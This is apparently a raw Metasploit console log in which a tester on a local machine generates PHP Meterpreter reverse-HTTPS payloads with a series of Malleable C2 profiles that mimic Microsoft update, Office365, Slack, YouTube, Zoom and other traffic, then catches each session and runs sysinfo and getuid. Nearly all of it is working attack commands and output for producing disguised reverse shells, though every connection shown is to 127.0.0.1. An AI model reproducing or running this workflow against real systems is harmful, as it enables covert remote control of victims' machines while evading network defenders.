[!] https://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: hs6reqio) Without a database connected that payload UUID tracking will not work!
[*] https://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: hs6reqio) Redirecting stageless: URI '/c/msdownload/update/others/2016/12/29136388_/VVlDVHphZzBrYXBBMlZQV0t2YS1PQUNxV0d6TGY4VEdfbE5CcQ.cab' with UA 'Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.40' -> UUID UYCTzag0kapA2VPWKva-NQJJXfvkVniSa7YTj95QiUlDKmTSbHU1-QE6hWQpvykiOQRmDmbwpR8pFwQv3lA
[!] https://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: hs6reqio) Without a database connected that payload UUID tracking will not work!
[*] https://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: hs6reqio) Attaching orphaned/stageless session...
[!] https://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: hs6reqio) Without a database connected that payload UUID tracking will not work!
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/ext_server_stdapi.php is being used
[*] Meterpreter session 1 opened (127.0.0.1:4242 -> 127.0.0.1:44260) at 2026-06-15 15:32:29 +0200

msf payload(php/meterpreter_reverse_https) > sessions -1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer        : cachyos-x8664
OS              : Linux cachyos-x8664 7.0.12-1-cachyos #1 SMP PREEMPT_DYNAMIC Sat, 13 Jun 2026 11:49:00 +0000 x86_64
Architecture    : x64
System Language : en_US.UTF-8
Meterpreter     : php/linux
meterpreter > getuid
Server username: ms
mscrl
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> use payload/php/meterpreter_reverse_https
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> set lhost 127.0.0.1
lhost => 127.0.0.1
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> set lport 4242
lport => 4242
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> set malleablec2 /home/ms/Documents/Malleable-C2-Profiles/Normal/mscrl.profile
malleablec2 => /home/ms/Documents/Malleable-C2-Profiles/Normal/mscrl.profile
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> generate -f raw -o /tmp/msf.php
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/meterpreter.php is being used
[*] Writing 60468 bytes to /tmp/msf.php...
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> to_handler
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/meterpreter.php is being used
[*] Payload Handler Started as Job 0
msf payload(php/meterpreter_reverse_https) > 
[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
[*] Started HTTPS reverse handler on https://127.0.0.1:4242
[!] https://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: s8ta45lq) Without a database connected that payload UUID tracking will not work!
[*] https://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: s8ta45lq) Redirecting stageless: URI '/pki/mscorp/cps/default.htm' with UA 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.104 Safari/537.36' -> UUID QDHSOIjGvFDSrMGjuIMtxAwUp7TJ5kQ8LYvfOgTNlgoX63738Vqzlew4uaVPVq4ZPVoBFJbbz-zTY55yWvdkfORdjfvvTrF1L
[!] https://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: s8ta45lq) Without a database connected that payload UUID tracking will not work!
[*] https://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: s8ta45lq) Attaching orphaned/stageless session...
[!] https://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: s8ta45lq) Without a database connected that payload UUID tracking will not work!
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/ext_server_stdapi.php is being used
[*] Meterpreter session 1 opened (127.0.0.1:4242 -> 127.0.0.1:36680) at 2026-06-15 15:34:33 +0200

msf payload(php/meterpreter_reverse_https) > sessions -1
[*] Starting interaction with 1...

meterpreter > sysinfo
geComputer        : cachyos-x8664
OS              : Linux cachyos-x8664 7.0.12-1-cachyos #1 SMP PREEMPT_DYNAMIC Sat, 13 Jun 2026 11:49:00 +0000 x86_64
Architecture    : x64
System Language : en_US.UTF-8
Meterpreter     : php/linux
meterpreter > getuid
Server username: ms
msnbcvideo_getonly.profile
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> use payload/php/meterpreter_reverse_https
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> set lhost 127.0.0.1
lhost => 127.0.0.1
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> set lport 4242
lport => 4242
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> set malleablec2 /home/ms/Documents/Malleable-C2-Profiles/Normal/msnbcvideo_getonly.profile
malleablec2 => /home/ms/Documents/Malleable-C2-Profiles/Normal/msnbcvideo_getonly.profile
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> generate -f raw -o /tmp/msf.php
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/meterpreter.php is being used
[*] Writing 60464 bytes to /tmp/msf.php...
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> to_handler
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/meterpreter.php is being used
[*] Payload Handler Started as Job 0
msf payload(php/meterpreter_reverse_https) > 
[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
[*] Started HTTPS reverse handler on https://127.0.0.1:4242
[!] https://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: um2g6b97) Without a database connected that payload UUID tracking will not work!
[*] https://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: um2g6b97) Redirecting stageless: URI '/z/msnbc2_live01@9615/manifest.f4m' with UA 'Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko' -> UUID BpUrpbbE_vv_cOx_lV8AsghpqCHemm2dTtV-kUJEjiL9ADX48oUn6Uigeg36I38X1POEKHkjvhu0v
[!] https://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: um2g6b97) Without a database connected that payload UUID tracking will not work!
[*] https://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: um2g6b97) Attaching orphaned/stageless session...
[!] https://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: um2g6b97) Without a database connected that payload UUID tracking will not work!
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/ext_server_stdapi.php is being used
[*] Meterpreter session 1 opened (127.0.0.1:4242 -> 127.0.0.1:40660) at 2026-06-15 15:36:03 +0200

msf payload(php/meterpreter_reverse_https) > sessions -1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer        : cachyos-x8664
OS              : Linux cachyos-x8664 7.0.12-1-cachyos #1 SMP PREEMPT_DYNAMIC Sat, 13 Jun 2026 11:49:00 +0000 x86_64
Architecture    : x64
System Language : en_US.UTF-8
Meterpreter     : php/linux
meterpreter > getuid
Server username: ms
office365.profile
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> use payload/php/meterpreter_reverse_https
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> set lhost 127.0.0.1
lhost => 127.0.0.1
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> set lport 4242
lport => 4242
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> set malleablec2 /home/ms/Documents/Malleable-C2-Profiles/Normal/office365_calendar.profile
malleablec2 => /home/ms/Documents/Malleable-C2-Profiles/Normal/office365_calendar.profile
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> generate -f raw -o /tmp/msf.php
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/meterpreter.php is being used
[*] Writing 60352 bytes to /tmp/msf.php...
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> to_handler
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/meterpreter.php is being used
[*] Payload Handler Started as Job 0
msf payload(php/meterpreter_reverse_https) > 
[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
[*] Started HTTPS reverse handler on https://127.0.0.1:4242
[!] https://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: gjv5yas1) Without a database connected that payload UUID tracking will not work!
[*] https://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: gjv5yas1) Redirecting stageless: URI '/owa/' with UA 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko)' -> UUID zBh3Tn6nln32bOVjnFz3DwgZev0OcSiOP
[!] https://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: gjv5yas1) Without a database connected that payload UUID tracking will not work!
[*] https://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: gjv5yas1) Attaching orphaned/stageless session...
[!] https://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: gjv5yas1) Without a database connected that payload UUID tracking will not work!
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/ext_server_stdapi.php is being used
[*] Meterpreter session 1 opened (127.0.0.1:4242 -> 127.0.0.1:47122) at 2026-06-15 15:43:00 +0200

msf payload(php/meterpreter_reverse_https) > sessions -1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer        : cachyos-x8664
OS              : Linux cachyos-x8664 7.0.12-1-cachyos #1 SMP PREEMPT_DYNAMIC Sat, 13 Jun 2026 11:49:00 +0000 x86_64
Architecture    : x64
System Language : en_US.UTF-8
Meterpreter     : php/linux
meterpreter > getuid
Server username: ms
meterpreter > 
oscp.profile
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> use payload/php/meterpreter_reverse_https
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> set lhost 127.0.0.1
lhost => 127.0.0.1
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> set lport 4242
lport => 4242
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> set malleablec2 /home/ms/Documents/Malleable-C2-Profiles/Normal/oscp.profile
malleablec2 => /home/ms/Documents/Malleable-C2-Profiles/Normal/oscp.profile
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> generate -f raw -o /tmp/msf.php
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/meterpreter.php is being used
[*] Writing 59920 bytes to /tmp/msf.php...
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> to_handler
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/meterpreter.php is being used
[*] Payload Handler Started as Job 0

[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
msf payload(php/meterpreter_reverse_https) > [*] Started HTTPS reverse handler on https://127.0.0.1:4242

msf payload(php/meterpreter_reverse_https) > 
[!] https://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: nq5af6l3) Without a database connected that payload UUID tracking will not work!
[*] https://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: nq5af6l3) Redirecting stageless: URI '/oscp/h0aM10Qbj2WwM6M82gOxkwj9QrIlr6YuWoiUjmvCGKpi2jlFEYS1VrWPAh2IURgKzNfz74Qr19aOCbOJTijJF' with UA 'Microsoft-CryptoAPI/6.1' -> UUID h0aM10Qbj2WwM6M82gOx_AvE9EnFOg-m4m_tc7Vo9DQoEoBtejBNjQDZBpN36KtFfYAco364PYUBibQMQDBBZE9VlFEq4bcH_XTE4_Znd6Llbs6HEI4wgq1zMX
[!] https://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: nq5af6l3) Without a database connected that payload UUID tracking will not work!
[*] https://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: nq5af6l3) Attaching orphaned/stageless session...
[!] https://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: nq5af6l3) Without a database connected that payload UUID tracking will not work!
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/ext_server_stdapi.php is being used
[*] Meterpreter session 1 opened (127.0.0.1:4242 -> 127.0.0.1:43400) at 2026-06-15 15:44:48 +0200

msf payload(php/meterpreter_reverse_https) > sessions -1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer        : cachyos-x8664
OS              : Linux cachyos-x8664 7.0.12-1-cachyos #1 SMP PREEMPT_DYNAMIC Sat, 13 Jun 2026 11:49:00 +0000 x86_64
Architecture    : x64
System Language : en_US.UTF-8
Meterpreter     : php/linux
meterpreter > getuid
Server username: ms
reddit.profile
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> use payload/php/meterpreter_reverse_https
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> set lhost 127.0.0.1
lhost => 127.0.0.1
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> set lport 4242
lport => 4242
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> set malleablec2 /home/ms/Documents/Malleable-C2-Profiles/Normal/reddit.profile
malleablec2 => /home/ms/Documents/Malleable-C2-Profiles/Normal/reddit.profile
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> generate -f raw -o /tmp/msf.php
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/meterpreter.php is being used
[*] Writing 60600 bytes to /tmp/msf.php...
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> to_handler
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/meterpreter.php is being used
[*] Payload Handler Started as Job 0
msf payload(php/meterpreter_reverse_https) > 
[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
[*] Started HTTPS reverse handler on https://127.0.0.1:4242
[!] https://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: 7wm629bl) Without a database connected that payload UUID tracking will not work!
[*] https://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: 7wm629bl) Redirecting stageless: URI '/r/webdev/comments/95ltyr' with UA 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36' -> UUID 5350RMs60dCp9rr5w8aqOQgVvIWEL5xvwe2NUG1ovjKvqia9ORujls
[!] https://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: 7wm629bl) Without a database connected that payload UUID tracking will not work!
[*] https://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: 7wm629bl) Attaching orphaned/stageless session...
[!] https://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: 7wm629bl) Without a database connected that payload UUID tracking will not work!
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/ext_server_stdapi.php is being used
[*] Meterpreter session 1 opened (127.0.0.1:4242 -> 127.0.0.1:54168) at 2026-06-15 15:53:20 +0200

msf payload(php/meterpreter_reverse_https) > sessions -1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer        : cachyos-x8664
OS              : Linux cachyos-x8664 7.0.12-1-cachyos #1 SMP PREEMPT_DYNAMIC Sat, 13 Jun 2026 11:49:00 +0000 x86_64
Architecture    : x64
System Language : en_US.UTF-8
Meterpreter     : php/linux
meterpreter > getuid
Server username: ms
rtmp.profile
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> use payload/php/meterpreter_reverse_https
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> set lhost 127.0.0.1
lhost => 127.0.0.1
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> set lport 4242
lport => 4242
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> set malleablec2 /home/ms/Documents/Malleable-C2-Profiles/Normal/rtmp.profile
malleablec2 => /home/ms/Documents/Malleable-C2-Profiles/Normal/rtmp.profile
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> generate -f raw -o /tmp/msf.php
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/meterpreter.php is being used
[*] Writing 60108 bytes to /tmp/msf.php...
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> to_handler
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/meterpreter.php is being used
[*] Payload Handler Started as Job 0
msf payload(php/meterpreter_reverse_https) > 
[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
[*] Started HTTPS reverse handler on https://127.0.0.1:4242
[!] https://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: eqdjw2bc) Without a database connected that payload UUID tracking will not work!
[*] https://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: eqdjw2bc) Redirecting stageless: URI '/idle/1376547834/1' with UA 'Shockwave Flash' -> UUID pr_i6qZMFlvpufq2g4ntkA2jB3a0eZjY1IAm4NgIeCtgsiKS8x
[!] https://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: eqdjw2bc) Without a database connected that payload UUID tracking will not work!
[*] https://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: eqdjw2bc) Attaching orphaned/stageless session...
[!] https://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: eqdjw2bc) Without a database connected that payload UUID tracking will not work!
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/ext_server_stdapi.php is being used
[*] Meterpreter session 1 opened (127.0.0.1:4242 -> 127.0.0.1:43630) at 2026-06-15 15:54:49 +0200

msf payload(php/meterpreter_reverse_https) > sessions -1
[*] Starting interaction with 1...

meterpreter > sysinfo
getuComputer        : cachyos-x8664
OS              : Linux cachyos-x8664 7.0.12-1-cachyos #1 SMP PREEMPT_DYNAMIC Sat, 13 Jun 2026 11:49:00 +0000 x86_64
Architecture    : x64
System Language : en_US.UTF-8
Meterpreter     : php/linux
meterpreter > getuid
Server username: ms
slack
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> use payload/php/meterpreter_reverse_https
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> set lhost 127.0.0.1
lhost => 127.0.0.1
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> set lport 4242
lport => 4242
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> set malleablec2 /home/ms/Documents/Malleable-C2-Profiles/Normal/slack.profile
malleablec2 => /home/ms/Documents/Malleable-C2-Profiles/Normal/slack.profile
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> generate -f raw -o /tmp/msf.php
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/meterpreter.php is being used
[*] Writing 60432 bytes to /tmp/msf.php...
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> to_handler
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/meterpreter.php is being used
[*] Payload Handler Started as Job 0
msf payload(php/meterpreter_reverse_https) > 
[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
[*] Started HTTPS reverse handler on https://127.0.0.1:4242
[!] https://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: 08olu5g3) Without a database connected that payload UUID tracking will not work!
[*] https://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: 08olu5g3) Redirecting stageless: URI '/messages/C0527B0NM' with UA 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko)' -> UUID Gvzaa3j7bHPJwNrPo_DNfQfgqqfxwIughkY7eMZsaucteR4xMba2jPVYBI6IKvvPladUdtLvPbCdLN4XwGV4yyHkj06
[!] https://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: 08olu5g3) Without a database connected that payload UUID tracking will not work!
[*] https://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: 08olu5g3) Attaching orphaned/stageless session...
[!] https://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: 08olu5g3) Without a database connected that payload UUID tracking will not work!
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/ext_server_stdapi.php is being used
[*] Meterpreter session 1 opened (127.0.0.1:4242 -> 127.0.0.1:57318) at 2026-06-15 15:57:18 +0200

msf payload(php/meterpreter_reverse_https) > sessions -1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer        : cachyos-x8664
OS              : Linux cachyos-x8664 7.0.12-1-cachyos #1 SMP PREEMPT_DYNAMIC Sat, 13 Jun 2026 11:49:00 +0000 x86_64
Architecture    : x64
System Language : en_US.UTF-8
Meterpreter     : php/linux
meterpreter > getuid
Server username: ms
stackoverflow
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> use payload/php/meterpreter_reverse_https
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> set lhost 127.0.0.1
lhost => 127.0.0.1
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> set lport 4242
lport => 4242
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> set malleablec2 /home/ms/Documents/Malleable-C2-Profiles/Normal/stackoverflow.profile
malleablec2 => /home/ms/Documents/Malleable-C2-Profiles/Normal/stackoverflow.profile
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> generate -f raw -o /tmp/msf.php
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/meterpreter.php is being used
[*] Writing 60516 bytes to /tmp/msf.php...
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> to_handler
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/meterpreter.php is being used
[*] Payload Handler Started as Job 0

[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
msf payload(php/meterpreter_reverse_https) > [*] Started HTTPS reverse handler on https://127.0.0.1:4242
[!] https://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: qsw8iyeg) Without a database connected that payload UUID tracking will not work!
[*] https://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: qsw8iyeg) Redirecting stageless: URI '/questions/32251816/c-sharp-directives-compilation-error' with UA 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36' -> UUID 7XRv8mJ0u8x5IGovExB8igbW1IrQ58cgaOGb2VPkb-DbvTdoe0O8rpVITLK3BCvarpgJaRk0UaMKkr2sPk2NGKHh4EI-70RIA_XJJJw5FxCV1QUNdn7zUo
[!] https://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: qsw8iyeg) Without a database connected that payload UUID tracking will not work!
[*] https://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: qsw8iyeg) Attaching orphaned/stageless session...
[!] https://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: qsw8iyeg) Without a database connected that payload UUID tracking will not work!
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/ext_server_stdapi.php is being used
[*] Meterpreter session 1 opened (127.0.0.1:4242 -> 127.0.0.1:38124) at 2026-06-15 16:01:15 +0200

msf payload(php/meterpreter_reverse_https) > sessions -1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer        : cachyos-x8664
OS              : Linux cachyos-x8664 7.0.12-1-cachyos #1 SMP PREEMPT_DYNAMIC Sat, 13 Jun 2026 11:49:00 +0000 x86_64
Architecture    : x64
System Language : en_US.UTF-8
Meterpreter     : php/linux
meterpreter > getuid
Server username: ms

trevor.profile
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> use payload/php/meterpreter_reverse_https
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> set lhost 127.0.0.1
lhost => 127.0.0.1
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> set lport 4242
lport => 4242
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> set malleablec2 /home/ms/Documents/Malleable-C2-Profiles/Normal/trevor.profile
malleablec2 => /home/ms/Documents/Malleable-C2-Profiles/Normal/trevor.profile
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> generate -f raw -o /tmp/msf.php
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/meterpreter.php is being used
[*] Writing 60456 bytes to /tmp/msf.php...
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> to_handler
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/meterpreter.php is being used
[*] Payload Handler Started as Job 0
msf payload(php/meterpreter_reverse_https) > 
[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
[*] Started HTTPS reverse handler on https://127.0.0.1:4242
[!] https://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: b6vln75m) Without a database connected that payload UUID tracking will not work!
[*] https://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: b6vln75m) Redirecting stageless: URI '/us/ky/louisville/312-s-fourth-st.html' with UA 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko)' -> UUID Ehn3hWSceaC4nauS0q29eA92RemBH
[!] https://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: b6vln75m) Without a database connected that payload UUID tracking will not work!
[*] https://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: b6vln75m) Attaching orphaned/stageless session...
[!] https://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: b6vln75m) Without a database connected that payload UUID tracking will not work!
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/ext_server_stdapi.php is being used
[*] Meterpreter session 1 opened (127.0.0.1:4242 -> 127.0.0.1:37884) at 2026-06-15 16:02:14 +0200

msf payload(php/meterpreter_reverse_https) > sessions -1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer        : cachyos-x8664
OS              : Linux cachyos-x8664 7.0.12-1-cachyos #1 SMP PREEMPT_DYNAMIC Sat, 13 Jun 2026 11:49:00 +0000 x86_64
Architecture    : x64
System Language : en_US.UTF-8
Meterpreter     : php/linux
meterpreter > getuid
Server username: ms
youtube.profile
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> use payload/php/meterpreter_reverse_https
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> set lhost 127.0.0.1
lhost => 127.0.0.1
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> set lport 4242
lport => 4242
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> set malleablec2 /home/ms/Documents/Malleable-C2-Profiles/Normal/youtube_video.profile
malleablec2 => /home/ms/Documents/Malleable-C2-Profiles/Normal/youtube_video.profile
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> generate -f raw -o /tmp/msf.php
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/meterpreter.php is being used
[*] Writing 60424 bytes to /tmp/msf.php...
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> to_handler
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/meterpreter.php is being used
[*] Payload Handler Started as Job 0

[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
msf payload(php/meterpreter_reverse_https) > [*] Started HTTPS reverse handler on https://127.0.0.1:4242
[!] https://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: 2pxidvmn) Without a database connected that payload UUID tracking will not work!
[*] https://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: 2pxidvmn) Redirecting stageless: URI '/watch' with UA 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko)' -> UUID RT1t83x_P6z91u7Zl-b7lwQqUCI4UQL8EtYeFgEsMfufhof18co58GwjA0g
[!] https://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: 2pxidvmn) Without a database connected that payload UUID tracking will not work!
[*] https://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: 2pxidvmn) Attaching orphaned/stageless session...
[!] https://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: 2pxidvmn) Without a database connected that payload UUID tracking will not work!
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/ext_server_stdapi.php is being used
[*] Meterpreter session 1 opened (127.0.0.1:4242 -> 127.0.0.1:34752) at 2026-06-15 16:03:45 +0200

msf payload(php/meterpreter_reverse_https) > sessions -1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer        : cachyos-x8664
OS              : Linux cachyos-x8664 7.0.12-1-cachyos #1 SMP PREEMPT_DYNAMIC Sat, 13 Jun 2026 11:49:00 +0000 x86_64
Architecture    : x64
System Language : en_US.UTF-8
Meterpreter     : php/linux
meterpreter > getuid
Server username: ms
zoom.profile
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> use payload/php/meterpreter_reverse_https
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> set lhost 127.0.0.1
lhost => 127.0.0.1
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> set lport 4242
lport => 4242
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> set malleablec2 /home/ms/Documents/Malleable-C2-Profiles/Normal/zoom.profile
malleablec2 => /home/ms/Documents/Malleable-C2-Profiles/Normal/zoom.profile
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> generate -f raw -o /tmp/msf.php
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/meterpreter.php is being used
[*] Writing 60508 bytes to /tmp/msf.php...
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> to_handler
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/meterpreter.php is being used
[*] Payload Handler Started as Job 0

[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
msf payload(php/meterpreter_reverse_https) > [*] Started HTTPS reverse handler on https://127.0.0.1:4242

msf payload(php/meterpreter_reverse_https) > 
[!] https://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: c1pntd9x) Without a database connected that payload UUID tracking will not work!
